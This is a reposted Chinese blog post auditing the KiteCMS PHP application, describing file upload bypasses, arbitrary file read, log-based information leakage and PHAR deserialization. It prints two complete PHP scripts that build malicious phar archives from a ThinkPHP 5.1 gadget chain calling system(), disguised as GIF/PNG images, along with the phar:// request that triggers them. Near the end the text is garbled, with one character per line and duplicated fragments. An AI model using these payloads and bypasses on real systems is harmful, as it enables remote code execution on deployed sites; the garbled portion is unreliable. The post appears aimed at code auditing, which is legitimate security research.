原文链接:https://xz.aliyun.com/t/12270#toc-0
PHP代码审计之kitecms
vghost / 2023-03-09 10:21:00 / 发表于辽宁 / 浏览数 1169 技术文章 技术文章 [ 顶(2)](javascript:) [ 踩(0)](javascript:)
使用phpstudy进行搭建环境,然后进入install目录。
然后输入数据库名和密码。
成功搭建好环境,然后进入后台页面。
首先进入配置-上传,然后发现这里有图片限制类型。
我们继续对这里的文件上传进行代码分析。
接着看这里的上传后缀配置,这里路由中的 .html 后缀是thinkphp中开启了伪静态设置,实际上还是调用了 config() 方法。
这里通过Ajax判断前端的操作,通过 Request::param() 方法统一接收所有上传的参数.
从数据表中可以看出我们的数据已经写进去了。
我们通过抓包分析,发现后台的所有上传功能点都调用了 uploadFile() 方法,Tp的
话上传一般上传文件都会使用 Request::file 来进行接收。
首先获取了config/site.php文件内容,并将两个数据中数组的内容通过array_merge合并。然后
获取了我们上面数据库中插入的内容,最后将配置文件与数据库中的内容进行合
并。
刚开始发现框架还是具有一定的安全性的。
最后就是upload()方法,上面的 filetype 是通过 Content-Type 中获取上传类型的,通过 check() 进行后缀以及大小的检测,其实在调试的过程中还发现了Tp自带的检测,但不影响我们最终的漏洞利用。
最后调用Local下的 upload()方法 实现文件上传。
这里的文件上传利用起来其实很简单,分为两步。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uELJAFPP-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210419-bd28ead0-bdb1-1.png)]
第一步通过配置将允许上传文件后缀写入数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XN6cqIyL-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210434-c61a67fe-bdb1-1.png)]
第
第二步通过后台任意上传点上传后缀.php文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPgs3oWu-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210443-cb4db762-bdb1-1.png)]
全局搜索 file_put_contents() 函数,发现路径是admin模块下的也就是后
台功能,跟进该处看看代码是如何构造的。
在代码中发现html参数是可控的,也就是 file_put_contents() 写入的内容是可控
的,前面的htmlspecialchars_decode()是将实体编码后的特殊字符还原,然后在继续
看$rootpath参数,向上回溯该参数,在这里最后拼接 $path 参数是通过 param() 传过来
的,所以这里 $path 可控。
全局搜索ile_get_contents() 方法,发现和上面的 file_put_contents() 在同一个方法
中。
这里可以看到,如果传参方式不是post()则会走else,去直接读取$rootpath,而我们通过上面的分析知
道这里的 $rootpath 中的 $path 是可控的,所以这里可以造成任意文件读取。
PHAR反序列化是指攻击者利用PHP Archive(PHAR)文件格式的反序列化漏洞,来执行恶意代码或者获取敏感数据。PHAR是PHP的一种自包含的归档文件格式,其可以存储多个PHP脚本文件和相关资源文件,并且可以被加载和执行。由于PHAR文件格式的缺陷,攻击者可以通过构造恶意数据,触发被反序列化的对象的构造函数并执行任意代码。因此,针对PHAR反序列化漏洞的攻击已经成为了网络安全领域中的一个热门话题。为了防止此类攻击,开发人员需要更新代码以修复漏洞,并加强输入数据的验证和过滤。
攻击者可能利用PHAR反序列化漏洞来实现以下攻击:
为了避免成为PHAR反序列化攻击的受害者,我们可以采用以下措施:
利用链使用了Tp5.1反序列化利用链,我们将下面的php文件生成
phar文件。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["v" => "system"];
public function get()
{
$this->data = ["v" => "calc"];
}
}
这里生成我们的pahr文件,如果生成时报错了可以将php.ini配置文件中的phar.readonly选项设置为
Off就可以成功生成了。
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
发现 metadata 部分已经成功序列化并写到文件中。
如上我们生成了phar.phar文件,我们将文件后缀改为.png就可以成功将文件上传。
由于phar反序列化是不限制后缀类型的,只要可以使用phar协议即可解析,我们直接利用上面的漏
洞点进行尝试。
查看配置文件(/config/log.php),发现默认开启了日志记录
最关键的点在:该系统在config/app.php中开启了调试模式,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R3JtGhti-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211436-2cb95e06-bdb3-1.png)]
以当日志写入开启且 app_debug 调试模式开启时,我们的操作、SQL执行语句、流量等信息都会被记录在日志文件中。所以在当上述条件满足时就会通过日志文件造成信息泄露。
我们访问/runtime/log目录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qx5fgR4J-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211514-431a7bf8-bdb3-1.png)]
然后使用burpsuite进行请求:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yVljMfLK-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211528-4b986600-bdb3-1.png)]
发现修改日期就可以获取到不同日子的log信息。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VPH0NBaN-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211538-517190ba-bdb3-1.png)]
进入application/member/controller/Upload.php,发现前台注册个用户后也有个文件上传的功能,然后对其代码
进行分析。
发现这个CMS在处理文件上传的时候,基本都是这三行代码进行控制:
跟进一下upload方法就会发现。
进入会员中心,然后进行发布信息,发现有2处上传点。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6CMooBgC-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211638-758d53b2-bdb3-1.png)]
然后修改png文件为.php,成功进行上传。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KkIaqTzc-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211648-7b9e3834-bdb3-1.png)]
接着成功获取到phpinfo信息。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LvLCvFvH-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211656-806a8bc4-bdb3-1.png)]
全局搜索is_dir()方法,然后发现scanfile()方法调用了这个方法。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zOmnhxed-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211713-8a497a88-bdb3-1.png)]
发现在get请求中传入$dir,然后直接一个is_dir成功phar反序列化。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHMaMH5B-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211723-8ff4990e-bdb3-1.png)]
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
改后缀为png然后上传:
访问:http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png
进入application/admin/controller/Upload.php,发现uploadFile方法。
跟进
u
p
l
o
a
d
O
b
j
−
>
u
p
l
o
a
d
方法
[
[
外链图片转存失败
,
源站可能有防盗链机制
,
建议将图片保存下来直接上传
(
i
m
g
−
R
h
p
l
X
R
p
8
−
1678672399392
)
(
h
t
t
p
s
:
/
/
x
z
f
i
l
e
.
a
l
i
y
u
n
c
s
.
c
o
m
/
m
e
d
i
a
/
u
p
l
o
a
d
/
p
i
c
t
u
r
e
/
20230308212012
−
f
4
c
c
3206
−
b
d
b
3
−
1.
p
n
g
)
]
]
(
h
t
t
p
s
:
/
/
x
z
f
i
l
e
.
a
l
i
y
u
n
c
s
.
c
o
m
/
m
e
d
i
a
/
u
p
l
o
a
d
/
p
i
c
t
u
r
e
/
20230308212012
−
f
4
c
c
3206
−
b
d
b
3
−
1.
p
n
g
)
发现
uploadObj->upload方法 [[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhplXRp8-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212012-f4cc3206-bdb3-1.png)]](https://xzfile.aliyuncs.com/media/upload/picture/20230308212012-f4cc3206-bdb3-1.png) 发现
uploadObj−>upload方法[[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img−RhplXRp8−1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212012−f4cc3206−bdb3−1.png)]](https://xzfile.aliyuncs.com/media/upload/picture/20230308212012−f4cc3206−bdb3−1.png)发现this->uploadHandler是这样来的:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h60wetgD-1678672399393)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212049-0b1d7aa6-bdb4-1.png)]
默认是local,当然这个配置也可以后台更改。
因此跟进一下app\common\model\upload\driver\local的upload方法,位于application/common/model/upload/driver/Local.php:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CbQNWL6z-1678672399393)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212059-10d6319a-bdb4-1.png)]
先后台修改一下配置。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cS6nkrhf-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212110-17c2c91e-bdb4-1.png)]
然后修改使得$this->config[‘upload_path’]为phar。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Roh4yqBd-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212122-1ef58faa-bdb4-1.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AlpeVl7X-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212139-28c109ce-bdb4-1.png)]
REF:
https://wx.zsxq.com/dweb2/index/topic_detail/812454251145212
https://blog.csdn.net/rfrder/article/details/117818074
https://blog.51cto.com/u_15847702/5800894